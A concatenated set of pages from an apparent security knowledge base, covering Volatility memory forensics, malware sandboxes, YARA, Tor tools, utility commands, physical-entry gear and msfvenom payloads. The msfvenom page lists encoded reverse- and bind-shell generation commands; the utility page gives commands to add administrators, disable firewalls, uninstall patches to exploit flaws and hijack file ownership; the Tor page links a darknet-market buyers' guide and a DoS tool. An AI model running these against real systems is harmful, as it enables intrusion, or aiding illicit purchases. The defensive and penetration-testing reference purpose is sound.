developers. 44 | * [https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/](https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/) 45 | * [UBoat](https://github.com/UBoat-Botnet/UBoat) - An open-source post-exploitation framework for students, researchers and developers. 46 | 47 | ## Keylogger 48 | 49 | [https://github.com/UndeadSec/HeraKeylogger](https://github.com/UndeadSec/HeraKeylogger) 50 | -------------------------------------------------------------------------------- /dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md: -------------------------------------------------------------------------------- 1 | # Volatility 2 | 3 | ## [Volatility](https://github.com/volatilityfoundation/volatility) 4 | 5 | Memory forensics framework for extracting data from RAM. 6 | 7 | * [https://www.volatilityfoundation.org/](https://www.volatilityfoundation.org/26) 8 | * [Evolve](https://github.com/JamesHabben/evolve): Volatility Web UI 9 | * [Volatility samples](https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples) 10 | * [volatility-autoruns](https://github.com/tomchop/volatility-autoruns/) - Automates most of the tasks you would need to run when trying to find out where malware is persisting from. Once all the autostart locations are found, they are matched with running processes in memory. 11 | * [https://github.com/volatilityfoundation/volatility/wiki/Command-Reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference) 12 | * [https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/](https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/) 13 | * [https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html](https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html) 14 | * _Operator Handbook: Volatility - pg. 315_ 15 | 16 | ## Volatility 3.x Basics 17 | 18 | Note: [Version 3 of Volatility](https://github.com/volatilityfoundation/volatility3/) was released in November 2019 which changes the Volatility usage and syntax. More information on V3 of Volatility can be found on [ReadTheDocs](https://volatility3.readthedocs.io/en/latest/basics.html). 19 | 20 | A list of common plugins are: 21 | 22 | * linux.bash.Bash 23 | * linux.check\_afinfo.Check\_afinfo 24 | * linux.check\_syscall.Check\_syscall 25 | * linux.elfs.Elfs 26 | * linux.lsmod.Lsmod 27 | * linux.lsof.Lsof 28 | * linux.malfind.Malfind 29 | * linux.proc.Maps 30 | * linux.pslist.PsList 31 | * linux.pstree.PsTree 32 | * mac.bash.Bash 33 | * mac.check\_syscall.Check\_syscall 34 | * mac.check\_sysctl.Check\_sysctl 35 | * mac.check\_trap\_table.Check\_trap\_table 36 | * mac.ifconfig.Ifconfig 37 | * mac.lsmod.Lsmod 38 | * mac.lsof.lsof 39 | * mac.malfind.Malfind 40 | * mac.netstat.Netstat 41 | * mac.proc\_maps.Maps 42 | * mac.psaux.Psaux 43 | * mac.pslist.PsList 44 | * mac.pstree.PsTree 45 | * mac.tasks.Tasks 46 | * mac.timers.Timers 47 | * mac.trustedbsd.trustedbsd 48 | * windows.cmdline.CmdLine 49 | * windows.dlldump.DllDump 50 | * windows.dlllist.DllList 51 | * windows.driverirp.DriverIrp 52 | * windows.driverscan.DriverScan 53 | * windows.filescan.FileScan 54 | * windows.handles.Handles 55 | * windows.info.Info 56 | * windows.malfind.Malfind 57 | * windows.moddump.ModDump 58 | * windows.modscan.ModScan 59 | * windows.modules.Modules 60 | * windows.mutantscan.MutantScan 61 | * windows.poolscanner.PoolScanner 62 | * windows.procdump.ProcDump 63 | * windows.pslist.PsList 64 | * windows.psscan.PsScan 65 | * windows.pstree.PsTree 66 | * windows.registry.certificates.Certificates 67 | * windows.registry.hivedump.HiveDump 68 | * windows.registry.hivelist.HiveList 69 | * windows.registry.hivescan.HiveScan 70 | * windows.registry.printkey.PrintKey 71 | * windows.registry.userassist.UserAssist 72 | * windows.ssdt.SSDT 73 | * windows.statistics.Statistics 74 | * windows.strings.Strings 75 | * windows.symlinkscan.SymlinkScan 76 | * windows.vaddump.VadDump 77 | * windows.vadinfo.VadInfo 78 | * windows.virtmap.VirtMap 79 | * timeliner.Timeliner 80 | 81 | **Check Memory Image Information** 82 | 83 | ``` 84 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.info.Info 85 | ``` 86 | 87 | **Check List of Kernel Drivers** 88 | 89 | ``` 90 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.modules.Modules 91 | ``` 92 | 93 | **Check List of Kernel Drivers (incl previously unloaded and hidden)** 94 | 95 | ``` 96 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.modscan.ModScan 97 | ``` 98 | 99 | **Dump List of Kernel Drivers to Files** 100 | 101 | ``` 102 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.moddump.ModDump 103 | ``` 104 | 105 | **Dump List of Running Processes to Files** 106 | 107 | ``` 108 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.procdump.ProcDump 109 | ``` 110 | 111 | **Check Process List of Running Processes** 112 | 113 | ``` 114 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.pslist.PsList 115 | ``` 116 | 117 | **Check Process Tree of Running Processes** 118 | 119 | ``` 120 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.pstree.PsTree 121 | ``` 122 | 123 | **Check Running Processes from EPROCESS blocks** 124 | 125 | ``` 126 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.psscan.PsScan 127 | ``` 128 | 129 | **Check Running Processes for possible shellcode/injection via PAGE\_EXECUTE\_READWRITE** 130 | 131 | ``` 132 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.malfind.Malfind 133 | ``` 134 | 135 | **Check processes and their command lines** 136 | 137 | ``` 138 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.cmdline.CmdLine 139 | ``` 140 | 141 | **Check for files which exist in memory** 142 | 143 | ``` 144 | /usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.filescan.FileScan 145 | ``` 146 | -------------------------------------------------------------------------------- /dfir-digital-forensics-and-incident-response/sandboxing.md: -------------------------------------------------------------------------------- 1 | # Sandboxing 2 | 3 | ## Online Sandbox Services 4 | 5 | **Online Sandboxes -** The malware analysis easy button 6 | 7 | The first step in analyzing any potentially malicious file is running it through a sandbox. Sandboxes can provide detailed analysis of the file, its structure, its contents, its metadata, and even detonate the file to see what activity comes from opening/running the file. 8 | 9 | There are two types of analysis on files that can be performed: 10 | 11 | * Static analysis - Where the contents and structure of the file are analyzed for indicators of purpose or nature. If the file is an executable in an uncompiled state, the code structure can also be analyzed. 12 | * Dynamic analysis - Where the files is opened or executed, to determine what action it performs. This is usually done in a sandboxed environment, in order to prevent any potentially harmful actions being performed on the host device. 13 | 14 | For analyzing potentially malicious files, i usually start with submitting the file to JoeSandbox and Hybrid-Analysis. These two provide detailed reports about the nature of the file, its contents, and intelligence available on the file, and so much more. If these two do not yield the answers needed, Any.run will provide a dynamic environment to detonate the file and monitor the actions it performs. 15 | 16 | All of the below online sandboxes can provide detailed analysis with one or more popular engines. Remember, just because its not found to be malicious by the scanner, does not mean it is 100% safe. Always use discretion. 17 | 18 | {% hint style="warning" %} 19 | \*\*\*WARNING - Do NOT submit a document to a public sandbox that might contain PII. This can be considered a data leak and could violate company policy. If you need to inspect a file that might have PII, use either a premium sandboxing service that does not disclose analysis results/contents, or use a sandboxing tool on your own local virtual machine. 20 | {% endhint %} 21 | 22 | * [https://www.hybrid-analysis.com/](https://www.hybrid-analysis.com/) 23 | * [https://www.joesandbox.com](https://www.joesandbox.com) 24 | * [https://app.any.run/](https://app.any.run/) 25 | * [https://sandbox.anlyz.io/dashboard](https://sandbox.anlyz.io/dashboard) 26 | * [https://sandbox.pikker.ee/](https://sandbox.pikker.ee/) (Online version of cuckoo) 27 | * [https://analyze.intezer.com](https://analyze.intezer.com) 28 | * [https://iris-h.services/pages/submit](https://iris-h.services/pages/submit) 29 | * [https://intelligence.gatewatcher.com/](https://intelligence.gatewatcher.com/) 30 | * [https://tria.ge/](https://tria.ge/) 31 | * [https://labs.inquest.net/dfi](https://labs.inquest.net/dfi) 32 | * [https://manalyzer.org/](https://manalyzer.org/) 33 | * [https://threatpoint.checkpoint.com/ThreatPortal/emulation](https://threatpoint.checkpoint.com/ThreatPortal/emulation) 34 | * [http://firmware.re/](http://firmware.re/) 35 | * [https://malwareconfig.com/](https://malwareconfig.com/) 36 | * [https://id-ransomware.malwarehunterteam.com/](https://id-ransomware.malwarehunterteam.com/) 37 | * [https://virusscan.jotti.org/en](https://virusscan.jotti.org/en) 38 | * [https://pandora.circl.lu/submit](https://pandora.circl.lu/submit) 39 | * [https://exchange.xforce.ibmcloud.com/](https://exchange.xforce.ibmcloud.com/) 40 | * [https://koodous.com/](https://koodous.com/) - (APK Sandbox) 41 | * [https://yaraify.abuse.ch/](https://yaraify.abuse.ch/) 42 | 43 | ## **Local Sandbox tools** 44 | 45 | Local sandboxes - There are a few options for local sandboxing that can help you. Cuckoo sandbox is the standard for local automated malware analysis. This is a great option for when you need to analyze a file that might contain PII that you do not want disclosed to a public sandbox. Another great option is to use Fireeye's Flare-VM. Not only does it come loaded with a slew of malware analysis tools, it runs as a virtual machine where malware can be analyzed and event detonated with out fear of impacting the host operating system. You will encounter files that pass muster with most automated analysis tools and the only way to determine what it does, is to detonate it. A great and simple way to do this, is to load the suspicious file into your Flare-VM, turn on a web proxy like fiddler to monitor your outdoing web requests, open local tools like event viewer or a process monitor, and detonate the file to see if it makes any unwanted actions on the device. 46 | 47 | * [https://github.com/pandora-analysis/pandora](https://github.com/pandora-analysis/pandora) - Pandora is an analysis framework to discover if a file is suspicious and conveniently show the results. 48 | * [https://cuckoosandbox.org/](https://cuckoosandbox.org/) - The standard for local sandboxing and analysis. 49 | * [cuckoo3](https://github.com/cert-ee/cuckoo3) - Cuckoo 3 is a Python 3 open source automated malware analysis system. 50 | * [https://github.com/fireeye/flare-vm](https://github.com/fireeye/flare-vm) - The fireeye VM for malware analysis. 51 | * [ThePhish](https://github.com/emalderson/ThePhish) - ThePhish is an automated phishing email analysis tool based on [TheHive](https://github.com/TheHive-Project/TheHive), [Cortex](https://github.com/TheHive-Project/Cortex/) and [MISP](https://github.com/MISP/MISP). It is a web application written in Python 3 and based on Flask that automates the entire analysis process starting from the extraction of the observables from the header and the body of an email to the elaboration of a verdict which is final in most cases. 52 | * [https://secsi.io/blog/thephish-an-automated-phishing-email-analysis-tool/](https://secsi.io/blog/thephish-an-automated-phishing-email-analysis-tool/) 53 | * Local VM and Proxies 54 | * [https://www.telerik.com/fiddler](https://www.telerik.com/fiddler) - While not a sandbox, it is a simple web proxy that can be used with any other VM. By detonating your target file in a cirtual machine with this running, you can see if the file makes any outbound web requests when it is opened. 55 | * [https://github.com/iphelix/dnschef](https://github.com/iphelix/dnschef) - DNS proxy for Penetration Testers and Malware Analysts 56 | 57 | ![](<../../.gitbook/assets/image (8) (1).png>) 58 | 59 | ![](<../../.gitbook/assets/image (9) (1).png>) 60 | -------------------------------------------------------------------------------- /dfir-digital-forensics-and-incident-response/yara.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Virustotal's file scanning engine and ruleset 3 | --- 4 | 5 | # YARA 6 | 7 | ### What is Yara? 8 | 9 | YARA and its rules are a way of identifying malware (or other files) by creating rules that look for certain characteristics. It was developed with the idea to describe patterns that identify particular strains or entire families of malware. Each rule has to start with the word rule, followed by the name or identifier. The identifier can contain any alphanumeric character and the underscore character, but the first character is not allowed to be a digit.\ 10 | \ 11 | Rules are composed of several sections.The condition section is the only one that is required. This section specifies when the rule result is true for the object (file) that is under investigation. It contains a Boolean expression that determines the result. Conditions are by design Boolean expressions and can contain all the usual logical and relational operators. You can also include another rule as part of your conditions. To give the condition section a meaning you will also need a strings section. The strings sections is where you can define the strings that will be looked for in the file. 12 | 13 | There are several types of strings you can look for:\ 14 | \- Hexadecimal, in combination with wild-cards, jumps, and alternatives.\ 15 | \- Text strings, with modifiers: nocase, fullword, wide, and ascii.\ 16 | \- Regular expressions, with the same modifiers as text strings. 17 | 18 | Metadata can be added to help identify the files that were picked up by a certain rule. The metadata identifiers are always followed by an equal sign and the set value. The assigned values can be strings, integers, or a Boolean value. Note that identifier/value pairs defined in the metadata section can’t be used in the condition section, their only purpose is to store additional information about the rule.\ 19 | \ 20 | Data to look for:\ 21 | • meaningful domain names or IP addresses that the malware may connect out to\ 22 | • filenames that the malicious file references\ 23 | • any unusual API calls that the files reference\ 24 | • various version numbers inside the malware\ 25 | • any registry value that the malware references. 26 | 27 | ### Yara Rule Generators 28 | 29 | * [halogen](https://github.com/target/halogen) 30 | * [yarGen](https://github.com/Neo23x0/yarGen) 31 | * [YaraGenerator](https://github.com/Xen0ph0n/YaraGenerator) 32 | * [yarasilly2](https://github.com/YARA-Silly-Silly/yarasilly2) 33 | 34 | Yara Rule Testing Tools 35 | 36 | * [arya](https://github.com/claroty/arya) - Arya is a unique tool that produces pseudo-malicious files meant to trigger YARA rules. You can think of it like a reverse YARA. 37 | 38 | ### Resources 39 | 40 | * [https://github.com/InQuest/awesome-yara](https://github.com/InQuest/awesome-yara) 41 | * [https://yara.readthedocs.io/en/latest/](https://yara.readthedocs.io/en/latest/) 42 | * [http://yara.readthedocs.io/en/v3.6.3/writingrules.html#id2](http://yara.readthedocs.io/en/v3.6.3/writingrules.html#id2) 43 | * [https://github.com/EFForg/yaya](https://github.com/EFForg/yaya) - Automatically curate open source yara rules and run scans 44 | * [https://yaraify.abuse.ch/](https://yaraify.abuse.ch/) - YARAify is a project from abuse.ch that allows anyone to scan suspicious files such as malware samples or process dumps against a large repository of YARA rules. With YARAhub, the platform also provides a structured way for sharing YARA rules with the community. 45 | * [YaraHunter](https://github.com/deepfence/YaraHunter) - Deepfence YaraHunter scans container images, running Docker containers, and filesystems to find indicators of malware. It uses a [YARA ruleset](https://github.com/deepfence/yara-rules) to identify resources that match known malware signatures, and may indicate that the container or filesystem has been compromised. 46 | * Writing Yara Rules 47 | * [https://resources.infosecinstitute.com/yara-simple-effective-way-dissecting-malware/](https://resources.infosecinstitute.com/yara-simple-effective-way-dissecting-malware/) 48 | * [https://securityintelligence.com/signature-based-detection-with-yara/](https://securityintelligence.com/signature-based-detection-with-yara/) 49 | * [https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/) 50 | * [https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/) 51 | * [https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) 52 | * [https://www.intezer.com/blog/threat-hunting/yara-rules-minimize-false-positives/](https://www.intezer.com/blog/threat-hunting/yara-rules-minimize-false-positives/) 53 | * Yara Training 54 | * [https://tryhackme.com/room/yara](https://tryhackme.com/room/yara) 55 | * Yara rule collections 56 | * [https://github.com/elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) 57 | * [https://yaraify.abuse.ch/yarahub/yaraify-rules.zip](https://yaraify.abuse.ch/yarahub/yaraify-rules.zip) 58 | * [https://www.nextron-systems.com/valhalla/](https://www.nextron-systems.com/valhalla/) - Huge YARA rule Repo 59 | * [https://github.com/deepfence/yara-rules](https://github.com/deepfence/yara-rules) 60 | * [https://github.com/shellcromancer/DaysOfYARA-2023](https://github.com/shellcromancer/DaysOfYARA-2023) 61 | * _Operator Handbook: YARA - pg. 428_ 62 | 63 | ![](<../.gitbook/assets/image (16).png>) 64 | 65 | -------------------------------------------------------------------------------- /grey-privacy-tor-opsec/tor.md: -------------------------------------------------------------------------------- 1 | # TOR 2 | 3 | [TOR](https://www.torproject.org) 4 | 5 | ### TOR Tools 6 | 7 | * [Awesome Lists Collection: TOR](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) 8 | * [https://geti2p.net/en/](https://geti2p.net/en/) - Kinda like TOR? 9 | * [nipe](https://github.com/htrgouvea/nipe) - Tool to make TOR your default gateway 10 | * [Hackersploit nipe guide](https://youtu.be/ec37is2yyMo) 11 | * [onionscan.org](https://onionscan.org/) - OnionScan is a free and open source tool for investigating the Dark Web. 12 | * [dos-over-tor](https://github.com/skizap/dos-over-tor) 13 | * [Kalitorify](https://github.com/brainfuckSec/kalitorify) - Transparent proxy through Tor for Kali Linux OS 14 | * [vanguards](https://github.com/mikeperry-tor/vanguards) - Onion services defense tools 15 | * [OnionBalence](https://onionbalance.readthedocs.io/en/latest/) - Onionbalance is the best way to load balance onion services across multiple backend Tor instances. 16 | * [multitor](https://github.com/trimstray/multitor) - Create multiple TOR instances with a load-balancing 17 | * [CrowdStrike/Tortilla](https://github.com/CrowdStrike/Tortilla) - Route all network through Tor. 18 | * [Hackersploit's guide to Tortilla](https://youtu.be/hcKpROGDXOM) 19 | * [https://iaca-darkweb-tools.com](https://iaca-darkweb-tools.com) - A collection of darkweb search tools. Allows you to query .onion search engines, marketplaces and social media sites. - 20 | * [https://torrouters.com/](https://torrouters.com/) - THOR is a hardware version of the Tor (The Onion Router) bundle, which provides you with anonymity and privacy you need to bypass any ISP restrictions and enhance your privacy online. 21 | 22 | ### Tor Bridges - alternative entry points for Tor that are not listed 23 | 24 | * [https://tails.boum.org/doc/first\_steps/startup\_options/bridge\_mode/index.en.html](https://tails.boum.org/doc/first_steps/startup_options/bridge_mode/index.en.html) 25 | * [https://bridges.torproject.org/bridges](https://bridges.torproject.org/bridges) 26 | * Some networks may block port TCP 9050 or even dynamically blacklist all Tor nodes in an attempt to prevent thier users from accessing the Tor network and get around access control 27 | * This can be over come by useing Tor bridges. 28 | * This can be configured to use by adding the bridge information to the torrc file like below 29 | * \#Bridge fte 128.105.214.163:8080 \[hash] 30 | * Obfuscated bridges - bridges that use special plug-ins called pluggable transports which obfuscate the traffic flow of Tor making its detection harder 31 | * [https://www.torproject.org/docs/bridges#PluggableTransports](https://www.torproject.org/docs/bridges#PluggableTransports) 32 | * Get these by requesting one by using a gmail/yahoo account and email bridges@bridges.torproject.org and enter “transport obfs3” 33 | * Tor Pluggable Transports Tor Browser Bundle 34 | 35 | ### Interesting Tor pages 36 | 37 | * [Hidden Wiki](https://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion.pet/wiki/index.php/Main_Page) - A large and neatly organized directory of .onion sites. 38 | * [Darknet Version](https://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/index.php/Main_Page) 39 | * [https://hidden-services.today](https://hidden-services.today) - Place with fresh links to TOR services hidden that is free of spam and scam sites. Only trusted and safe links are provided. 40 | * [https://www.hunch.ly/darkweb-osint/](https://www.hunch.ly/darkweb-osint/) - Identify new hidden services, or find investigation targets that you might not have otherwise known about. It is 100% free and every day you will receive a link to a spreadsheet you can download or view online. Requires you to provide an email address to join their mailing list. 41 | * [TOR66](http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/fresh) - An onion site that lists newly discovered onion sites that have been submitted from a variety of different clearnet platforms. 42 | * [H-Indexer](http://jncyepk6zbnosf4p.onion/onions.html) - Another onion site that offers a list of fresh onions. Beware, results are often uncensored, so you may encounter illegal material. 43 | * [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. 44 | * [https://www.bigdatacloud.com/insights/tor-exit-nodes](https://www.bigdatacloud.com/insights/tor-exit-nodes) 45 | * [Dread](https://www.deeponionweb.com/dread-forum/) - Reddit of the darkweb 46 | * [https://cafedread.com](https://cafedread.com) - A read-only archive of the Dread forum. Read the latest posts and comments. Also supports reading via Atom feeds. 47 | * [http://hacktownpagdenbb.onion/HackTown.html](http://hacktownpagdenbb.onion/HackTown.html) - One of my favorite sites on learning the operations of a black hat. 48 | * [https://metrics.torproject.org/exonerator.html](https://metrics.torproject.org/exonerator.html) - Enter an IP address and date to find out whether that address was used as a Tor relay. 49 | 50 | ### Check yourself 51 | 52 | * [https://www.dnsleaktest.com/results.html](https://www.dnsleaktest.com/results.html) - Check for DNS leaks in your TOR connection 53 | * [https://check.torproject.org/](https://check.torproject.org/) - Are you connected to TOR? Are you sure? 54 | 55 | ### Misc Reference 56 | 57 | * [Darknet Markey Buyers Guide](http://biblemeowimkh3utujmhm6oh2oeb3ubjw2lpgeq3lahrfr2l6ev6zgyd.onion/content/index.html) - The buyer’s DNM bible aims to be a complete guide that covers all steps that users have to take in order to buy securely from darknet markets. It orientates itself on OPSEC best practices and, if exactly followed, will greatly minimize the risk of you getting caught. 58 | * [https://archive.org/details/darknet-market-buyers-bible](https://archive.org/details/darknet-market-buyers-bible) 59 | 60 | 61 | 62 | ### Learn to TOR 63 | 64 | * [https://tryhackme.com/room/torforbeginners](https://tryhackme.com/room/torforbeginners) 65 | -------------------------------------------------------------------------------- /red-offensive/offensive-toolbox/utility-commands.md: -------------------------------------------------------------------------------- 1 | # Utility Commands 2 | 3 | There are far too many command options to list here. However there is a handy resource when looking for the command syntax for what you are trying to accomplish. [Commandlinefu](https://www.commandlinefu.com/commands/browse) is an amazing repository of command strings accomplishing different tasks. Simply search the task and see what commands have worked for others. 4 | 5 | * [https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltea7de5267932e94b/5eb08aafcf88d36e47cf0644/Cheatsheet\_SEC301-401\_R7.pdf](https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltea7de5267932e94b/5eb08aafcf88d36e47cf0644/Cheatsheet\_SEC301-401\_R7.pdf) 6 | * [https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltf146e4f361db3938/5e34a7bc946d717e2eab6139/power-shell-cheat-sheet-v41.pdf](https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltf146e4f361db3938/5e34a7bc946d717e2eab6139/power-shell-cheat-sheet-v41.pdf) 7 | 8 | ## **Linux** 9 | 10 | * Open file you do not have permission for 11 | * In the folder, view owner, permissions and UUID 12 | * \# ls -la 13 | * Add new user 14 | * \# sudo add user pwn 15 | * Change the UUID of the new user to that of the user that created the file 16 | * \# sudo sed -i -e ‘s/\[pwnUUID]/\[targetUUID]/g’ /etc/passwd 17 | * Check the new UUID 18 | * \# cat /etc/passwd | grep pwn 19 | * _RTFM: Linux Utility Commands - pg. 6_ 20 | * _PTFM: Linux Utility Commands - pg. 78_ 21 | * _Operator Handbook: Linux\_Commands - pg. 118_ 22 | * _Operator Handbook: Linux\_tricks - pg. 147_ 23 | 24 | ## **Windows** 25 | 26 | * Add user to administrator group 27 | * \> net user \ \ /add 28 | * \> net localgroup “Administrators" \ add 29 | * Disable firewall 30 | * \> netsh advfirewall set currentprofile state off 31 | * \> netsh advfirewall set allprofiles state off 32 | * Uninstall patch to exploit a vulnerability 33 | * Display all patches 34 | * \> dir /a /b c:\windows\kb\* 35 | * Uninstall patch 36 | * \> Wusa.exe /uninstall /kb:<###> 37 | * _RTFM: Windows Utility Commands - pg. 17_ 38 | * _RTFM: Powershell Commands - pg. 22_ 39 | * _PTFM: Windows Utility Commands - pg. 1_ 40 | * _Operator Handbook: Windows\_Commands - pg. 328_ 41 | * _Operator Handbook: Windows Tricks - pg.415_ 42 | 43 | ## **MacOS** 44 | 45 | * _Operator Handbook: MacOS Commands - pg. 154_ 46 | * _Operator Handbook: MacOS Tricks - pg. 189_ 47 | 48 | ## **WMIC** 49 | 50 | * Impacket scripts 51 | * [wmiquery.py:](https://github.com/SecureAuthCorp/impacket/blob/impacket\_0\_9\_21/examples/wmiquery.py) It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32\_account). 52 | * [wmipersist.py:](https://github.com/SecureAuthCorp/impacket/blob/impacket\_0\_9\_21/examples/wmipersist.py) This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer spec 53 | * _RTFM: WMIC Commands - pg. 20_ 54 | -------------------------------------------------------------------------------- /red-offensive/physical-security-testing.md: -------------------------------------------------------------------------------- 1 | # Physical Security Testing 2 | 3 | ## Guides/Reference 4 | 5 | * _The Hacker Playbook 3: Physical Security - pg. 191_ 6 | 7 | {% embed url="https://www.youtube.com/watch?app=desktop&v=d0XYJ3adEyA" %} 8 | 9 | ## DropBoxes and Tools 10 | 11 | * [USBKill V4 | USBKill](https://usbkill.com/products/usbkill-v4?variant=32836117397586) - Plug and ZAP!!! 12 | * [scund00r/red-team-and-physical-entry-gear](https://scund00r.com/all/gear/2019/06/25/red-team-and-physical-entry-gear.html) 13 | * [https://www.blackhillsinfosec.com/pentesting-dropbox-on-steroids/](https://www.blackhillsinfosec.com/pentesting-dropbox-on-steroids/) 14 | * [EDEC](https://edecdf.com/collections/mobile) [Samy Kamkar: PoisonTap - exploiting locked computers over USB](https://samy.pl/poisontap/) 15 | * [pcileech: Direct Memory Access (DMA) Attack Software](https://github.com/ufrisk/pcileech) 16 | * Bashbunny/USBRubberducky 17 | * [https://github.com/I-Am-Jakoby/PowerShell-for-Hackers](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers) 18 | * _Advanced Penetration Testing: The Creeper Box - pg. 155_ 19 | 20 | ## Keys 21 | 22 | * [Welcome to Ultimate Security Devices - Industrial Lock and Key Expertise, we are specializes in medeco locks, cabinet locks, elevator keys, keys set, key switches and many other products](https://www.ultimatesecuritydevices.com/) 23 | * [SPARROWS FIRE SERVICE ELEVATOR KEY SET](https://www.sparrowslockpicks.com/product\_p/ekey.htm) 24 | * _Operator Handbook: Physical Entry Keys - pg. 248_ 25 | 26 | ## Lockpicking 27 | 28 | 29 | 30 | * [Awesome Lists Collection: Lockpicking](https://github.com/fabacab/awesome-lockpicking) 31 | * [The Open Organisation Of Lockpickers :: Resources for Learning More](https://toool.us/resources.html) 32 | 33 | ### Tools 34 | 35 | * [https://www.redteamtools.com/](https://www.redteamtools.com/) 36 | * [Dark Shift](https://www.sparrowslockpicks.com/product\_p/new2.htm) 37 | * [THE EOD - Full](https://www.sparrowslockpicks.com/product\_p/eod.htm) 38 | * [Sparrows Warded Pick Set](https://www.sparrowslockpicks.com/product\_p/ward.htm) 39 | * [The Stretcher Under Door Tool](https://www.sparrowslockpicks.com/product\_p/underdoor.htm) 40 | * [Commercial Door Thumb Turn Opening Tool | Door Opener Tool](https://www.lockpicks.com/commercial-door-opening-tool.html) 41 | * [Sparrows Quick Shims](https://www.sparrowslockpicks.com/product\_p/qs.htm) [Core shims](https://www.sparrowslockpicks.com/product\_p/cshims.htm) 42 | 43 | ### Videos 44 | 45 | * [A Beginner's Guide to Tubular Lock Picking - YouTube](https://www.youtube.com/watch?v=ulzZ9T2oGPE) 46 | * [Review: Southord Core Killer Jiggler Keys (SDJ-13) - YouTube](https://www.youtube.com/watch?v=eISem6CEqYw) 47 | * [The Search for the Perfect Door - Deviant Ollam - YouTube](https://www.youtube.com/watch?v=4YYvBLAF4T8\&t=486s) 48 | * [Howard Payne & Deviant Ollam - This Key is Your Key, This Key is My Key - YouTube](https://www.youtube.com/watch?v=a9b9IYqsb\_U) 49 | * [Review: BumpMyLocks 38-piece Bump Key Set - YouTube](https://www.youtube.com/watch?v=OoeRh\_oX9Oo) 50 | -------------------------------------------------------------------------------- /red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md: -------------------------------------------------------------------------------- 1 | # MSFVenom Commands 2 | 3 | ## PHP reverse shell 4 | 5 | msfvenom -p php/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php 6 | 7 | ## Java WAR reverse shell 8 | 9 | msfvenom -p java/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war 10 | 11 | ## Linux bind shell 12 | 13 | msfvenom -p linux/x86/shell\_bind\_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata\_ga\_nai 14 | 15 | ## Linux FreeBSD reverse shell 16 | 17 | msfvenom -p bsd/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf 18 | 19 | ## Linux C reverse shell 20 | 21 | msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -f c 22 | 23 | ## Windows non staged reverse shell 24 | 25 | msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -f exe -o non\_staged.exe 26 | 27 | ## Windows Staged (Meterpreter) reverse shell 28 | 29 | msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -f exe -o meterpreter.exe 30 | 31 | ## Windows Python reverse shell 32 | 33 | msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py 34 | 35 | ## Windows ASP reverse shell 36 | 37 | msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata\_ga\_nai -o shell.asp 38 | 39 | ## Windows ASPX reverse shell 40 | 41 | msfvenom -f aspx -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -o shell.aspx 42 | 43 | ## Windows JavaScript reverse shell with nops 44 | 45 | msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f js\_le -e generic/none -n 18 46 | 47 | ## Windows Powershell reverse shell 48 | 49 | msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -i 9 -f psh -o shell.ps1 